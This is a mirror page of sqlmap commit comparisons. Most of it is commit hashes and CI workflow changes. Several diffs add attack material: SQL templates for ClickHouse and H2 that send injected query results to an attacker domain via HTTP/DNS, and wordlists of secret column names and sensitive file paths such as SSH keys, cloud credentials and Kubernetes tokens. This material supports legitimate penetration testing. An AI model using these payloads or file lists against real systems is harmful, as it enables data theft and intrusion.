mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
cb8298d55a | ||
|
|
579e559c71 | ||
|
|
5be154b9e2 | ||
|
|
112356ac5c | ||
|
|
15a39b6ee9 | ||
|
|
3186a4fa31 | ||
|
|
311bf7ce4d | ||
|
|
1f42f52980 | ||
|
|
ac313f009e | ||
|
|
5fb4b47378 | ||
|
|
e81a99c4f3 | ||
|
|
3a680be4eb | ||
|
|
39d22d26c3 | ||
|
|
306738539e | ||
|
|
023d85fba8 | ||
|
|
2afa92451a | ||
|
|
0630556826 | ||
|
|
2bf5bd1aa4 | ||
|
|
e75d75dbe6 | ||
|
|
aa42dc041d | ||
|
|
0a6dbd260f | ||
|
|
1c869b7430 | ||
|
|
f21a6ab88d | ||
|
|
1b09b028ba | ||
|
|
90fe32f386 | ||
|
|
d7d06c088d | ||
|
|
b0afe6b8d4 | ||
|
|
1dcca2c862 | ||
|
|
ffffe2d0b2 | ||
|
|
356984929f | ||
|
|
e8a2fc50e0 | ||
|
|
f992e44fb5 | ||
|
|
84f0ef8232 | ||
|
|
0079412fd2 | ||
|
|
154adb1d4d | ||
|
|
18e06c6381 | ||
|
|
0ab84074f7 | ||
|
|
cd911acb24 | ||
|
|
5dd91ba8ca | ||
|
|
9fdb704af7 | ||
|
|
bb9e5dbf44 | ||
|
|
f43dba3d34 | ||
|
|
fbc3704bf2 | ||
|
|
762650db07 | ||
|
|
534f873660 | ||
|
|
2aeb275ec9 | ||
|
|
d3cfad6a8d | ||
|
|
1d263f22c3 | ||
|
|
8b70a392a1 | ||
|
|
ec58f57fa9 | ||
|
|
69108bcf01 | ||
|
|
dcb2b513c0 | ||
|
|
13e956ca64 | ||
|
|
ca608da2f1 | ||
|
|
c75df91eb7 | ||
|
|
a1ed35cf3b | ||
|
|
2f56ad66f4 | ||
|
|
07d8d5f731 | ||
|
|
523cdd8d9e | ||
|
|
57dee852e4 | ||
|
|
bf138e800a | ||
|
|
d2bcb39763 | ||
|
|
edbfca0b8e | ||
|
|
b2f98b61ec | ||
|
|
5a5aebfc6e | ||
|
|
a4c983ae06 | ||
|
|
ab881132b8 | ||
|
|
1bd1b457d7 | ||
|
|
2d9e9ed959 | ||
|
|
075d009bb7 | ||
|
|
ffe124f3e0 | ||
|
|
fcec8ef89e | ||
|
|
f129d3ac76 | ||
|
|
36ebce6935 | ||
|
|
e6a5e8ff05 | ||
|
|
c294098cc1 | ||
|
|
272d1447d7 | ||
|
|
a5a7f7203a | ||
|
|
bdf1901a43 | ||
|
|
016c388a13 | ||
|
|
e8512c8c13 | ||
|
|
9925adf799 | ||
|
|
0cf4c641a1 | ||
|
|
a7c63afdd8 | ||
|
|
99ec51f86d | ||
|
|
d381a32c94 | ||
|
|
721c9d9d70 | ||
|
|
a22f782db5 | ||
|
|
26e13122ca | ||
|
|
002828a734 | ||
|
|
6b8de6704c | ||
|
|
4a0308dd8d | ||
|
|
6a4ae1fa96 | ||
|
|
5848fa4f1a | ||
|
|
6d9322bc74 | ||
|
|
e589936982 | ||
|
|
37771f0d25 | ||
|
|
2626e50190 | ||
|
|
3238415d48 | ||
|
|
0f5ba41535 | ||
|
|
67574b8047 | ||
|
|
6ce5d7d7e4 | ||
|
|
fc9b3c9b67 | ||
|
|
b0408f1bd8 | ||
|
|
adc43552d6 | ||
|
|
d1eb861d72 | ||
|
|
09389aadeb | ||
|
|
620f3a77a1 | ||
|
|
6234b62c6f | ||
|
|
2e28b70975 | ||
|
|
d2a9db2aba | ||
|
|
69c8a94be4 | ||
|
|
47e98a02d0 | ||
|
|
c64870301f | ||
|
|
f88ecc007d | ||
|
|
1db09d5a98 | ||
|
|
7b64ae7303 | ||
|
|
f56ab884c7 | ||
|
|
8614059876 | ||
|
|
3764ec63e1 | ||
|
|
267c20048d | ||
|
|
8c86dc68a7 | ||
|
|
c78cd5c43e | ||
|
|
932a5bd7b2 | ||
|
|
d08e992ad6 | ||
|
|
dcecf55780 | ||
|
|
20537c52c5 | ||
|
|
fabe4ce04d | ||
|
|
e288df23db | ||
|
|
00cccf78e5 | ||
|
|
109ce217ec | ||
|
|
384ee1a91a | ||
|
|
54bb3ea136 | ||
|
|
5b322542f0 | ||
|
|
80aaa79ea1 | ||
|
|
697e591c2a | ||
|
|
afc49107b5 | ||
|
|
ab6ce22593 | ||
|
|
76b75e95f0 | ||
|
|
b38eb79ed0 | ||
|
|
9db49d5e34 | ||
|
|
0c6f57d9ec | ||
|
|
43c6574056 | ||
|
|
57f8485279 | ||
|
|
c496cf99e6 | ||
|
|
da07c8756d | ||
|
|
71afbf0711 | ||
|
|
7ee21bbaf9 | ||
|
|
0338c13063 | ||
|
|
5f99b283c2 | ||
|
|
1c894ab116 | ||
|
|
af385c37c0 | ||
|
|
dab476da8a | ||
|
|
38ab43f29e | ||
|
|
94e21844d7 | ||
|
|
b1ff8a31d8 | ||
|
|
9331ac0f2c | ||
|
|
16cd9425ae | ||
|
|
d69ae91325 | ||
|
|
59933891e0 | ||
|
|
dad2f02f28 | ||
|
|
05005dde58 | ||
|
|
9d08b1dc03 | ||
|
|
a61e35980a | ||
|
|
2acc8a5540 | ||
|
|
921870ccf0 | ||
|
|
d5ff557a13 | ||
|
|
e23a91f6db | ||
|
|
3378f8df34 | ||
|
|
ab59a4b72a | ||
|
|
97c8b45ccc | ||
|
|
d9a4a0992f | ||
|
|
fb9cec1e97 | ||
|
|
8bc0f4794c | ||
|
|
567e051215 | ||
|
|
40ccd801dc | ||
|
|
1cdc69eb0e | ||
|
|
354977bb5d | ||
|
|
52c742458b | ||
|
|
827ec0a06c | ||
|
|
b8fb645db0 | ||
|
|
f4c4025bdb | ||
|
|
986933e709 | ||
|
|
2fec735b13 | ||
|
|
d0f16b284d | ||
|
|
346c9d9f03 | ||
|
|
df6c50add2 | ||
|
|
6ece3c61bf | ||
|
|
2a9da9d9e5 | ||
|
|
2aafdc0e46 | ||
|
|
3784f8bafd | ||
|
|
1465d55a47 | ||
|
|
622cfa76c6 | ||
|
|
fc1ae6950e | ||
|
|
4c12dda2f7 | ||
|
|
767feba3a7 | ||
|
|
8837dd2435 | ||
|
|
478888b19e | ||
|
|
c1363dd44c | ||
|
|
c1516f1750 | ||
|
|
5893f069ae | ||
|
|
d8cc2ae93b | ||
|
|
8dda2b42a5 | ||
|
|
dd4f40ad5e | ||
|
|
165bf837c9 | ||
|
|
8db71f4d67 | ||
|
|
fd009027f7 | ||
|
|
0033934426 | ||
|
|
291abb0ee8 | ||
|
|
4b3a36ca51 | ||
|
|
4504edaeb1 | ||
|
|
e2c55c1ddc | ||
|
|
89ddc5a592 | ||
|
|
f65dc92b1e | ||
|
|
f46c463eba | ||
|
|
b2a5283e9b | ||
|
|
05f81ab191 | ||
|
|
788c9fa134 | ||
|
|
8f6a37275c | ||
|
|
50ff3debe5 | ||
|
|
6597415ab0 | ||
|
|
3bab3cd795 | ||
|
|
3b3a822e32 | ||
|
|
7fd6bb3b7d | ||
|
|
103a0e6b0f | ||
|
|
3cf29a543a | ||
|
|
5fa2da5eae | ||
|
|
16c8909a0c | ||
|
|
2b9fd6cf82 | ||
|
|
d60e95ede7 | ||
|
|
71d9c6d0f4 | ||
|
|
732d164538 | ||
|
|
2719ce6c59 | ||
|
|
fe69e6bfcc | ||
|
|
d6299fc4f5 | ||
|
|
a7c9b721fd | ||
|
|
47b8b6ed07 | ||
|
|
d2ead9dcda | ||
|
|
e1126a2a4e | ||
|
|
a3bff54cc5 | ||
|
|
c2209d9326 | ||
|
|
1716ad1524 | ||
|
|
bd10f84a9b | ||
|
|
6514597dbb | ||
|
|
40a31c155c | ||
|
|
62a7bf3b03 | ||
|
|
3e7d064cc9 | ||
|
|
39ba1bc00e | ||
|
|
8a75c0bb62 | ||
|
|
6e459d66f2 | ||
|
|
154c7e333e | ||
|
|
d6b491dec4 | ||
|
|
92a9446c46 | ||
|
|
74f90df8ae | ||
|
|
f932a3f30f | ||
|
|
e0269acc0d | ||
|
|
87eb93db15 | ||
|
|
a78885d2e3 | ||
|
|
87ba03815b | ||
|
|
fd7eaf107b | ||
|
|
7774c73291 | ||
|
|
7b60bc8284 | ||
|
|
820efa7a8a | ||
|
|
8ff5d3811a | ||
|
|
4c869817d4 | ||
|
|
2297c81309 | ||
|
|
cb20a446ae | ||
|
|
b933ff3f63 | ||
|
|
8676166acd | ||
|
|
6bbcd4a28a | ||
|
|
70efdfdc6b | ||
|
|
24e26d102a | ||
|
|
ca755467de | ||
|
|
60403f80df | ||
|
|
1feb6f73b9 | ||
|
|
d6a754e8b2 | ||
|
|
3809161b0e | ||
|
|
02ae09e154 | ||
|
|
149bdd836b | ||
|
|
692c4bc42f | ||
|
|
c7a9185bcf | ||
|
|
9daeab2d5a | ||
|
|
333e3e48e5 | ||
|
|
69ba213db9 | ||
|
|
cbf5dbd29e | ||
|
|
771d4cfb66 | ||
|
|
7e610b8716 | ||
|
|
c51b4c072f | ||
|
|
e8162d314a | ||
|
|
7a95103122 | ||
|
|
e47b976f5a | ||
|
|
f6912fc921 | ||
|
|
2893fd5c4d | ||
|
|
0a331f2f89 | ||
|
|
0430f780ab | ||
|
|
cef105f322 | ||
|
|
15715a2513 | ||
|
|
a2bbca1ee3 | ||
|
|
0cfa88e50e | ||
|
|
57dcc04cbe | ||
|
|
da66f1b3ec | ||
|
|
0d82096025 | ||
|
|
f15b73d571 | ||
|
|
c0d343b341 | ||
|
|
de87b28c61 | ||
|
|
b66840eb2e | ||
|
|
4ba8edef1d | ||
|
|
f5ee4028e4 | ||
|
|
87a3a2e51c | ||
|
|
bf28b0ae47 | ||
|
|
0b2b3e956f | ||
|
|
a3fc171665 | ||
|
|
46fc5acbfc | ||
|
|
9d8c1021f3 | ||
|
|
03b44ed2f1 | ||
|
|
a3b857ebae | ||
|
|
7e652ed15d | ||
|
|
e82b1b56f7 | ||
|
|
9d653d2d50 | ||
|
|
6d306ba50d | ||
|
|
e1aac02ef2 | ||
|
|
35fefc3b65 | ||
|
|
497d3772bd | ||
|
|
889ad43541 | ||
|
|
bbc49360c7 | ||
|
|
2aed8d1513 | ||
|
|
824ef464e1 | ||
|
|
d5d6fac58d | ||
|
|
a2d44a7a16 | ||
|
|
8de9c5899d | ||
|
|
8a458fc8d0 | ||
|
|
002a28f7f0 | ||
|
|
1404133538 | ||
|
|
a0cbfba9bd | ||
|
|
cc7f803d60 | ||
|
|
75c4c868b4 | ||
|
|
4e2438dc1e | ||
|
|
ea1f089220 | ||
|
|
be284e9fe5 | ||
|
|
c210daca04 | ||
|
|
7c401cab64 | ||
|
|
91bf58b54e | ||
|
|
d570f8e91f | ||
|
|
403855f701 | ||
|
|
17e94c3409 | ||
|
|
948d01d57a | ||
|
|
3816df1241 | ||
|
|
48b915b5ee | ||
|
|
61d327aae1 | ||
|
|
d42e50367e | ||
|
|
03fb84c5be | ||
|
|
10c464cd6f | ||
|
|
e24678fc31 | ||
|
|
bc4ce6e44a | ||
|
|
93d2439624 | ||
|
|
6fc0ddab8f | ||
|
|
9e92d3cc94 | ||
|
|
3307babb14 | ||
|
|
d984593bcb | ||
|
|
bfe410c8d3 | ||
|
|
63b1b597aa | ||
|
|
f09ea122fb | ||
|
|
800e6f0a56 | ||
|
|
000c4e5689 | ||
|
|
4b08aaffd6 | ||
|
|
2e892102b7 | ||
|
|
1d1725f920 | ||
|
|
fc16a8e120 | ||
|
|
994292edec | ||
|
|
37322b5197 | ||
|
|
3a36265a22 | ||
|
|
b4a6d25795 | ||
|
|
8e48af61b7 | ||
|
|
6e1fe6fbca | ||
|
|
543661721d | ||
|
|
8a2ad7d128 | ||
|
|
e12d7a22d0 | ||
|
|
74b5ffd4dc | ||
|
|
7e565051bd | ||
|
|
680ebd9d3f | ||
|
|
6a95e63625 | ||
|
|
d229d4d4d3 | ||
|
|
12b81504d9 | ||
|
|
b67a6ad0d1 | ||
|
|
da36d2826a | ||
|
|
cd7ebe940c | ||
|
|
1555be2df4 | ||
|
|
69e1bf2fbe | ||
|
|
df97e1da46 | ||
|
|
7747112340 | ||
|
|
a100496ec0 | ||
|
|
bc9e51a551 | ||
|
|
1636b72243 | ||
|
|
85b8d36620 | ||
|
|
be216041e2 | ||
|
|
ef00b9fab2 | ||
|
|
5c691247e1 | ||
|
|
70b4d00364 | ||
|
|
2969563463 | ||
|
|
00003b2825 | ||
|
|
d27b560dbd | ||
|
|
aaa3a0b9a1 | ||
|
|
d47aacbfba | ||
|
|
af0e46316a | ||
|
|
58db3a74d5 | ||
|
|
bfa412fb75 | ||
|
|
f6861d227b | ||
|
|
ab1efed0d5 | ||
|
|
ecf8ccc72e | ||
|
|
11836f8299 | ||
|
|
3142e7b9cc | ||
|
|
e48cce3fa3 | ||
|
|
430399c72a | ||
|
|
899447fbae | ||
|
|
8a19966017 | ||
|
|
5a4a8eed62 | ||
|
|
0ac9883767 | ||
|
|
dca0bb648d | ||
|
|
57086969cc | ||
|
|
d96ac7c777 | ||
|
|
c6d272bb81 | ||
|
|
b702cbae88 | ||
|
|
7dc414b06b | ||
|
|
69efd623c9 | ||
|
|
8110ccb38a | ||
|
|
5e4ddcc953 | ||
|
|
89d6b94d0d | ||
|
|
85a71c2b49 | ||
|
|
cfd9309be4 | ||
|
|
3e8a69cfbe | ||
|
|
b67ea8f294 | ||
|
|
195c4bec34 | ||
|
|
249d2a6cbb | ||
|
|
10282a3993 | ||
|
|
8d91c65bdb | ||
|
|
b3f3405775 | ||
|
|
3d0932c217 | ||
|
|
244d283198 | ||
|
|
4f425792e3 | ||
|
|
46ba1d1bf1 | ||
|
|
6d1382f448 | ||
|
|
a20f930844 | ||
|
|
0d4aff7e1a | ||
|
|
2f4ff0d430 | ||
|
|
2c356ed22a | ||
|
|
f564db0d56 | ||
|
|
06b74f9390 | ||
|
|
ae851d9511 | ||
|
|
d373eeaea5 | ||
|
|
762037e78d | ||
|
|
b30c169b8a | ||
|
|
4caeff9cf4 | ||
|
|
8cac5fdab6 | ||
|
|
bfe39d010f | ||
|
|
fadf5bb753 | ||
|
|
8258d6d233 | ||
|
|
bc252ef010 | ||
|
|
aa0fb23314 | ||
|
|
36c55a33fb | ||
|
|
c07b15666c | ||
|
|
220a75b230 | ||
|
|
5a12bd290d | ||
|
|
e659543048 | ||
|
|
d77e925a10 | ||
|
|
1a6a5b1226 |
+104
-2
@@ -3,10 +3,24 @@ on:
|
||||
branches: [ master ]
|
||||
pull_request:
|
||||
branches: [ master ]
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ci-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
|
||||
env:
|
||||
# deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
|
||||
PYTHONHASHSEED: "0"
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
@@ -22,17 +36,105 @@ jobs:
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 1
|
||||
persist-credentials: false
|
||||
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Python sanity
|
||||
run: python -VV
|
||||
|
||||
- name: Pyflakes lint
|
||||
shell: bash
|
||||
run: |
|
||||
python - <<'PY'
|
||||
from __future__ import print_function
|
||||
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
subprocess.check_call([
|
||||
sys.executable, "-m", "pip", "install", "pyflakes"
|
||||
])
|
||||
|
||||
files = subprocess.check_output(
|
||||
["git", "ls-files", "*.py"]
|
||||
).decode("utf-8").splitlines()
|
||||
|
||||
files = [
|
||||
f for f in files
|
||||
if not f.startswith("thirdparty/")
|
||||
]
|
||||
|
||||
proc = subprocess.Popen(
|
||||
[sys.executable, "-m", "pyflakes"] + files,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
)
|
||||
out, _ = proc.communicate()
|
||||
|
||||
text = out.decode("utf-8", "replace")
|
||||
lines = [
|
||||
line for line in text.splitlines()
|
||||
if " redefines " not in line
|
||||
]
|
||||
|
||||
if lines:
|
||||
print("\n".join(lines))
|
||||
sys.exit(1)
|
||||
|
||||
if proc.returncode not in (0, 1):
|
||||
if text:
|
||||
print(text)
|
||||
print("pyflakes failed unexpectedly with status %s" % proc.returncode)
|
||||
sys.exit(proc.returncode or 1)
|
||||
|
||||
print("pyflakes: clean")
|
||||
PY
|
||||
|
||||
- name: Basic import test
|
||||
run: python -c "import sqlmap; import sqlmapapi"
|
||||
|
||||
- name: Install optional test deps (lxml, jinja2)
|
||||
# lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
|
||||
# tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
|
||||
# endpoints) skip themselves when the engine is unavailable, so these deps are only needed
|
||||
# on the Py3 jobs.
|
||||
if: matrix.python-version != 'pypy-2.7'
|
||||
run: python -m pip install -q lxml jinja2
|
||||
|
||||
- name: Unit tests
|
||||
# -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
|
||||
# point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
|
||||
# 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
|
||||
run: python -B -m unittest discover -s tests -p "test_*.py"
|
||||
|
||||
- name: Esperanto self-test
|
||||
# offline, deterministic engine check against an in-memory SQLite boolean oracle: all
|
||||
# compare modes + identify + bytes/text + noisy-oracle quorum + integrity + strategy
|
||||
# handoff (a failed assertion exits non-zero)
|
||||
run: python extra/esperanto/run.py --self-test
|
||||
|
||||
- name: Coverage
|
||||
if: matrix.python-version != 'pypy-2.7'
|
||||
run: |
|
||||
python -m pip install coverage
|
||||
python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
|
||||
python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
|
||||
python -m coverage report --fail-under=50
|
||||
|
||||
- name: Smoke test
|
||||
run: python sqlmap.py --smoke
|
||||
run: python sqlmap.py --smoke-test
|
||||
|
||||
- name: Payload lint
|
||||
# offline: emulates blind + UNION enumeration across all DBMSes and checks
|
||||
# every payload agent.py builds with lib/utils/sqllint (structural sanity)
|
||||
run: python sqlmap.py --payload-lint
|
||||
|
||||
- name: Vuln test
|
||||
run: python sqlmap.py --vuln
|
||||
run: python sqlmap.py --vuln-test
|
||||
|
||||
- name: API test
|
||||
run: python sqlmap.py --api-test
|
||||
|
||||
+10
@@ -7,3 +7,13 @@ traffic.txt
|
||||
req*.txt
|
||||
.idea/
|
||||
.aider*
|
||||
.DS_Store
|
||||
.github/.DS_Store
|
||||
data/.DS_Store
|
||||
extra/.DS_Store
|
||||
lib/.DS_Store
|
||||
plugins/.DS_Store
|
||||
thirdparty/.DS_Store
|
||||
CLAUDE.md
|
||||
.coverage
|
||||
.codegraph/
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# sqlmap 
|
||||
# sqlmap
|
||||
|
||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||
|
||||
@@ -47,6 +47,7 @@ Links
|
||||
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Playground: https://sekumart.sekuripy.hr
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
Translations
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
SELECT count(*) FROM url('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', 'CSV', 'c String')
|
||||
@@ -0,0 +1,2 @@
|
||||
SELECT FILE_READ('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/', NULL)
|
||||
# or SELECT CSVREAD('http://%PREFIX%.'||(%QUERY%)||'.%SUFFIX%.%DOMAIN%/')
|
||||
Binary file not shown.
Binary file not shown.
@@ -2768,6 +2768,42 @@ shouji
|
||||
u_pass
|
||||
hashedPw
|
||||
|
||||
# API keys, tokens and secrets
|
||||
|
||||
api_key
|
||||
apikey
|
||||
api_token
|
||||
access_token
|
||||
refresh_token
|
||||
auth_token
|
||||
session_token
|
||||
remember_token
|
||||
secret_key
|
||||
client_secret
|
||||
encryption_key
|
||||
reset_token
|
||||
password_reset_token
|
||||
verification_token
|
||||
confirmation_token
|
||||
otp
|
||||
otp_secret
|
||||
totp_secret
|
||||
mfa_secret
|
||||
two_factor_secret
|
||||
|
||||
# Framework and identity columns
|
||||
|
||||
deleted_at
|
||||
uuid
|
||||
role
|
||||
is_admin
|
||||
is_active
|
||||
is_verified
|
||||
date_of_birth
|
||||
dob
|
||||
credit_card
|
||||
postal_code
|
||||
|
||||
# password (international)
|
||||
|
||||
adgangskode
|
||||
|
||||
@@ -1807,3 +1807,48 @@
|
||||
/opt/kibana/config/kibana.yml
|
||||
/etc/kibana/kibana.yml
|
||||
/etc/elasticsearch/elasticsearch.yml
|
||||
|
||||
# Containers and orchestration secrets
|
||||
|
||||
/.dockerenv
|
||||
/proc/self/cgroup
|
||||
/proc/1/cgroup
|
||||
/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||
|
||||
# Cloud provider credentials
|
||||
|
||||
/root/.aws/credentials
|
||||
/root/.aws/config
|
||||
/root/.config/gcloud/application_default_credentials.json
|
||||
/root/.config/gcloud/credentials.db
|
||||
/root/.azure/accessTokens.json
|
||||
/root/.kube/config
|
||||
|
||||
# SSH keys and DB/tool history
|
||||
|
||||
/root/.ssh/authorized_keys
|
||||
/root/.ssh/id_ed25519
|
||||
/root/.ssh/id_ecdsa
|
||||
/root/.ssh/id_dsa
|
||||
/root/.mysql_history
|
||||
/root/.psql_history
|
||||
/root/.rediscli_history
|
||||
/root/.python_history
|
||||
/root/.sqlite_history
|
||||
|
||||
# dotenv, VCS and app config under common web roots
|
||||
|
||||
/var/www/.env
|
||||
/var/www/html/.env
|
||||
/app/.env
|
||||
/usr/share/nginx/html/.env
|
||||
/var/www/html/.git/config
|
||||
/var/www/html/.git/HEAD
|
||||
/var/www/html/wp-config.php
|
||||
/app/application.properties
|
||||
/app/application.yml
|
||||
/app/docker-compose.yml
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,243 @@
|
||||
# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
# See the file 'LICENSE' for copying permission
|
||||
|
||||
id
|
||||
page
|
||||
q
|
||||
query
|
||||
search
|
||||
s
|
||||
keyword
|
||||
keywords
|
||||
name
|
||||
username
|
||||
user
|
||||
uid
|
||||
userid
|
||||
email
|
||||
mail
|
||||
pass
|
||||
password
|
||||
pwd
|
||||
token
|
||||
key
|
||||
apikey
|
||||
api_key
|
||||
access_token
|
||||
auth
|
||||
session
|
||||
sid
|
||||
sessionid
|
||||
lang
|
||||
language
|
||||
locale
|
||||
country
|
||||
region
|
||||
city
|
||||
zip
|
||||
sort
|
||||
order
|
||||
orderby
|
||||
dir
|
||||
direction
|
||||
filter
|
||||
category
|
||||
cat
|
||||
type
|
||||
kind
|
||||
class
|
||||
group
|
||||
tag
|
||||
tags
|
||||
status
|
||||
state
|
||||
action
|
||||
act
|
||||
cmd
|
||||
command
|
||||
op
|
||||
operation
|
||||
mode
|
||||
method
|
||||
func
|
||||
function
|
||||
callback
|
||||
jsonp
|
||||
format
|
||||
output
|
||||
view
|
||||
tab
|
||||
step
|
||||
stage
|
||||
debug
|
||||
test
|
||||
dev
|
||||
admin
|
||||
role
|
||||
level
|
||||
priv
|
||||
file
|
||||
filename
|
||||
path
|
||||
dir
|
||||
folder
|
||||
doc
|
||||
document
|
||||
url
|
||||
uri
|
||||
link
|
||||
href
|
||||
redirect
|
||||
redirect_uri
|
||||
return
|
||||
returnurl
|
||||
return_url
|
||||
next
|
||||
target
|
||||
dest
|
||||
destination
|
||||
goto
|
||||
continue
|
||||
ref
|
||||
referer
|
||||
referrer
|
||||
source
|
||||
src
|
||||
from
|
||||
to
|
||||
date
|
||||
year
|
||||
month
|
||||
day
|
||||
time
|
||||
timestamp
|
||||
start
|
||||
end
|
||||
begin
|
||||
finish
|
||||
limit
|
||||
offset
|
||||
count
|
||||
num
|
||||
number
|
||||
size
|
||||
length
|
||||
width
|
||||
height
|
||||
amount
|
||||
price
|
||||
qty
|
||||
quantity
|
||||
value
|
||||
val
|
||||
data
|
||||
input
|
||||
content
|
||||
text
|
||||
msg
|
||||
message
|
||||
body
|
||||
title
|
||||
subject
|
||||
description
|
||||
desc
|
||||
comment
|
||||
note
|
||||
code
|
||||
hash
|
||||
sig
|
||||
signature
|
||||
csrf
|
||||
csrf_token
|
||||
csrftoken
|
||||
nonce
|
||||
salt
|
||||
enc
|
||||
encrypt
|
||||
decrypt
|
||||
base64
|
||||
json
|
||||
xml
|
||||
raw
|
||||
echo
|
||||
reflect
|
||||
show
|
||||
hide
|
||||
display
|
||||
render
|
||||
template
|
||||
tpl
|
||||
theme
|
||||
skin
|
||||
style
|
||||
color
|
||||
font
|
||||
image
|
||||
img
|
||||
photo
|
||||
avatar
|
||||
icon
|
||||
banner
|
||||
video
|
||||
audio
|
||||
media
|
||||
attachment
|
||||
upload
|
||||
download
|
||||
export
|
||||
import
|
||||
backup
|
||||
restore
|
||||
sync
|
||||
refresh
|
||||
reload
|
||||
reset
|
||||
clear
|
||||
flush
|
||||
purge
|
||||
enable
|
||||
disable
|
||||
active
|
||||
enabled
|
||||
visible
|
||||
public
|
||||
private
|
||||
locked
|
||||
verified
|
||||
confirmed
|
||||
approved
|
||||
product
|
||||
item
|
||||
sku
|
||||
model
|
||||
brand
|
||||
vendor
|
||||
seller
|
||||
store
|
||||
shop
|
||||
cart
|
||||
basket
|
||||
checkout
|
||||
payment
|
||||
invoice
|
||||
receipt
|
||||
transaction
|
||||
account
|
||||
profile
|
||||
member
|
||||
customer
|
||||
client
|
||||
company
|
||||
organization
|
||||
org
|
||||
department
|
||||
team
|
||||
project
|
||||
task
|
||||
job
|
||||
event
|
||||
booking
|
||||
reservation
|
||||
appointment
|
||||
schedule
|
||||
calendar
|
||||
@@ -3372,17 +3372,23 @@ django_session
|
||||
django_migrations
|
||||
django_content_type
|
||||
django_admin_log
|
||||
auth_user_groups
|
||||
auth_user_user_permissions
|
||||
|
||||
# laravel
|
||||
|
||||
migrations
|
||||
password_resets
|
||||
password_reset_tokens
|
||||
failed_jobs
|
||||
personal_access_tokens
|
||||
job_batches
|
||||
model_has_roles
|
||||
model_has_permissions
|
||||
role_has_permissions
|
||||
cache
|
||||
cache_locks
|
||||
notifications
|
||||
|
||||
# rails
|
||||
|
||||
@@ -3420,3 +3426,6 @@ subscriptions
|
||||
users_bak
|
||||
users_old
|
||||
orders_backup
|
||||
user_roles
|
||||
role_permissions
|
||||
tokens
|
||||
|
||||
@@ -1633,3 +1633,5 @@ YEAR
|
||||
|
||||
ORD
|
||||
MID
|
||||
TOP
|
||||
ROWNUM
|
||||
|
||||
@@ -1,644 +0,0 @@
|
||||
e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql
|
||||
6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql
|
||||
798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql
|
||||
5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql
|
||||
3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
|
||||
afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql
|
||||
657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
|
||||
1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql
|
||||
9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql
|
||||
02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql
|
||||
02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql
|
||||
606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql
|
||||
4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql
|
||||
